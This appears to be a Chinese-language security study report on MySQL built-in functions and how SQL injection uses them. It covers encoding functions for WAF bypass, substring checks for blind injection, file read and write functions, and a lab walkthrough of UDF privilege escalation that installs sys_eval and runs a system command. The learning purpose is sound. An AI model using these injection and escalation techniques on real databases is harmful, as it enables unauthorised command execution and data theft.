任务标题: 数据库基础之数据库系统功能相关学习
1、学习数据库自带函数的功能与用法(思考在什么情况下可以执行命令)
2、将所有涉及的函数进行测试并举例说明其用法并形成报告
扩展学习:针对自己所选数据库,尝试执行系统命令,自己构造所需环境
具体解释
在 sql 注入时为了应对各种限制措施,利用数据库自带的一些系统函数经过各种变换之后可以绕过一些安全设备或者一些基础防御的措施,比如一些字符串转换的函数、截取字符串长度的函数等,参考学习:
应用的场景包括:通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等
我们经常在注入时候想要利用数据库来执行系统命令,不同的数据库可能使用不不同的方式,比如 Mysql 的 udf、Mssql 的 xp_cmdshell 等,这个在利用注入提权的时候非常有帮助,通过数据库执行系统命令所拥有的权限跟数据库的安装过程是有关系的,所以搞清楚这个关系也很重要,这样我们在安装配置数据库的时候可以尽量避免权限过高,造成安全隐患。
除了学习这些基础基础知识外,自己可以动手构造一些可以利用数据库执行命令的场景然后进行测试,完全理解这个提权的过程。
打算按要求学一边
数据库自带函数的功能与用法
系统函数
函数名 | 说明 |
---|---|
version() | 系统函数 |
user() ||CURRENT_USER() | 数据库用户名 |
database() | 数据库名 |
@@datadir | 数据库路径 |
@@version_compile_os | 操作系统版本 |
mysql> select version() as 系统函数 ,user() as 数据库用户名
-> ,database() as 数据库名
-> ,@@datadir as 数据库路径 ,@@version_compile_os as 操作系统版本;
+-------------------------+--------------------+--------------+-----------------+--------------------+
| 系统函数 | 数据库用户名 | 数据库名 | 数据库路径 | 操作系统版本 |
+-------------------------+--------------------+--------------+-----------------+--------------------+
| 5.7.29-0ubuntu0.18.04.1 | root@localhost | learn_sql | /var/lib/mysql/ | Linux |
+-------------------------+--------------------+--------------+-----------------+--------------------+
1 row in set (0.00 sec)
字符串的编码转换
函数名 | 说明 |
---|---|
hex() | 字符串转换为16进制 |
unhex() | 16进制转换为字符串 |
to_base64() | 编码为base64字符串 |
from_base64() | 按base64解码字符串 |
ord() | 返回字符串 s 的第一个字符的 ASCII 码。 |
ascii() | 返回字符串 s 的第一个字符的 ASCII 码。 |
char() | 按ascii解码字符串 |
CONVERT(s USING cs) | 函数将字符串 s 的字符集变成 cs,如utf-8 转 gbk |
字符的编码转换一般是在绕过 WAF中起作用。
mysql> select unhex(hex('w')) as h ,from_base64(to_base64('o')) as e,char(ord('r')) as l ,char(ascii('l')) as l,(con
vert('d' using gbk)) as o;
+------+------+------+------+------+
| h | e | l | l | o |
+------+------+------+------+------+
| w | o | r | l | d |
+------+------+------+------+------+
1 row in set (0.00 sec)
此外在绕waf中,可以用16进制绕过单引号限制
字符串的连接
在Mysql中三个函数用于字符串的连接,同样一般用于WAF绕过
函数名 | 说明 |
---|---|
concat() | 字符串 s1,s2 等多个字符串合并为一个字符串 |
concat_ws(separator,str1,str2,….) | 功能与concat相仿,多了一个参数分割符separator,用于分割每个字符串 |
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])) | group_concat() 一般和group by一块使用 |
mysql> select concat('hello',' world') as A ,concat_ws(' ','hello','world') as B,group_concat(firstname) as C from user_info group by firstname;
+-------------+-------------+---------+
| A | B | C |
+-------------+-------------+---------+
| hello world | hello world | x,x,x,x |
+-------------+-------------+---------+
1 row in set (0.00 sec)
字符串截取函数
字符串截取函数一般用于盲注里的条件判断,对表名或数据库名进行截取并枚举。
mysql中有三个字符串截取函数:
函数名 | 说明 |
---|---|
mid | 从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len) |
substring(s,start,length) | 从字符串 s 的 start 位置截取长度为 length 的子字符串 |
SUBSTRING_INDEX(s, delimiter, number) | 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。 |
left(s,n) | 返回字符串 s 的前 n 个字符 |
right(s,n) | 返回字符串 s 的后 n 个字符 |
mysql> select * from user_info where id='1' and substr(database(),1,1)='l';
+----+-----------+----------+---------------------+----------------+------+
| id | firstname | lastname | DateOfBirth | NUMBER | tag |
+----+-----------+----------+---------------------+----------------+------+
| 1 | x | z | 2019-03-05 00:00:00 | 123123123.1110 | haha |
+----+-----------+----------+---------------------+----------------+------+
1 row in set (0.00 sec)
mysql> select * from user_info where id='1' and substr(database(),2,1)='l';
Empty set (0.00 sec)
但substr()判断正确时,会反显正确值,反之为空。
有时为了更好的枚举爆破,可以先尝试获取字符串的长度。
函数名 | 说明 |
---|---|
char_length(s) | 返回字符串 s 的字符数 |
character_length(s) | char_length()的同义词 |
length(s) | char_length()的同义词 |
select * from user_info where id='1' and char_length(database())=7;
select * from user_info where id='1' and char_length(database())>7;
select * from user_info where id='1' and char_length(database())=9;
其他常见函数
函数名 | 说明 |
---|---|
IF(expr,v1,v2) | 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。 |
ifnull(exp1, exp2) | 如果 v1 的值不为 NULL,则返回 v1,否则返回 v2。 |
nullif(exp1, exp2) | 比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1 |
limit | limit m,n 返回从m行到n行的结果,用于限制返回结果的行数 |
load_file() | 读取文件中的数据 |
into_outfile() | 写入文件 |
MYSQL UDF提权
UDF (user defined function)
,即用户自定义函数。
- 加载udf,并创建自定义函数
CREATE FUNCTION metaphon
RETURNS STRING
SONAME 'udf_example.so';
在linux中文件为
.so
,在win中为.dll
- 查看存在的udf
SELECT * FROM mysql.func;
- 删除udf
DROP FUNCTION metaphon;
你必须有mysql 数据库的INSERT 权限才能创建一个函数,你必须有mysql 数据库的DELETE权限才能撤销一个函数。这是因为CREATE FUNCTION 往记录函数名字,类型和共享名的mysql.func系统表里添加了一行,而DROP FUNCTION则是从表中删掉这一行。
收集信息
在使用之前,还需收集相应信息。
os信息
mysql> show variables like "%compile%";
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Linux |
+-------------------------+--------+
2 rows in set (0.00 sec)
64位linux
mysql版本信息
mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.7.29-0ubuntu0.18.04.1 |
+-------------------------+
1 row in set (0.00 sec)
mysql版本为5.7.29 ubuntu 为 18.04.1
对于高于5.1版本的mysql,需要将udf文件 放置在插件目录下
插件目录
mysql> show variables like '%plugin%';
+-------------------------------+------------------------+
| Variable_name | Value |
+-------------------------------+------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /usr/lib/mysql/plugin/ |
+-------------------------------+------------------------+
2 rows in set (0.00 sec)
secure-file-priv
当需要写入udf时,还需查看secure-file-priv参数
mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+
3 rows in set (0.00 sec)
当前为空,即可以在任意文件夹下导出文件
其设置方法可以参考 系统表学习
导入udf.so
可以采用的方法:
-
直接复制到
/usr/lib/mysql/plugin/
-
利用outfile 或 dumpfile 来存储udf.so
还需要将脚本转换为16进制才行
实践 1
上传udf.io
将lib_mysqludf_sys_64.so
复制到/usr/lib/mysql/plugin/
注意这一步要求权限,如果是利用mysql outfile或dumpfile的话,同样要求mysql有权限在文件夹下进行写操作。
安装UDF
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
Query OK, 0 rows affected (0.00 sec)
执行命令
mysql> select sys_eval('id');
+-------------------------------------------------+
| sys_eval('id') |
+------------------------ -------------------------+
| uid=122(mysql) gid=127(mysql) groups=127(mysql) |
+-------------------------------------------------+
1 row in set (0.01 sec)
参考
后记
mysql自带函数部分蛮空缺的,利用起来就更空缺的。希望此次学习能有所帮助,报告要求尽可能到达吧。
三位前辈的博客都很好,可以参考阅读。
要实现提权的过程,发现受到限制还是很多的。
- secure_file_priv置空
- 插件文件夹任意用户组可以写
在高版本的mysql下,将udf上传到插件目录的要求,本身就要求插件文件夹任意用户组可以写,如果要能够任意文件读写,那还需将secure_file_priv置空。
可见除非开发者在开发过程中使用低版本mysql或满足高版本下的攻击条件,这才使用UDF提权。